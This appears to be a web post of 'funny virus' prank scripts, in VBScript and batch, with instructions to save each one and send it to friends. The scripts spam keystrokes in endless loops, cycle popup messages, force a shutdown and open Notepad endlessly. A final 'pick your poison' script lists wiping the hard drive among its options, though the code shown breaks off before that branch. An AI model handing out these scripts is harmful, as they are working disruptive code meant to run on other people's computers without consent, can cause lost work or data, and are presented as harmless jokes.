Some more batch file funny Virus

1. Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Open Notepad and Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it to your friends.




2. Frustrate your friend by making this VBScript hit Enter simultaneously:
Open Notepad and Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it to your friends.


3. Opens Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Open Notepad and Type :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send it to your friends.




4. Frustrate your friend by making this VBScript hit Backspace simultaneously:
Open Notepad and Type :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it to your friends.


5. Cycle a message in your friend's computer:
Open Notepad and Type :
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
Save it as "Anything.BAT" and send it to your friends.

6. Convey your friend a lil' message and shut down his/her computer:
Open Notepad and Type :
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files and send it to your friends.

7. Open Notepad continually in your friend's computer:

Open Notepad and Type :
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as "Anything.BAT" and send it to your friends.


8. Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Open Notepad and Type :
@echo off
title The end of the world
cd C:\
:menu
cls echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
Save it as "Anything.BAT" and send it to your friends.



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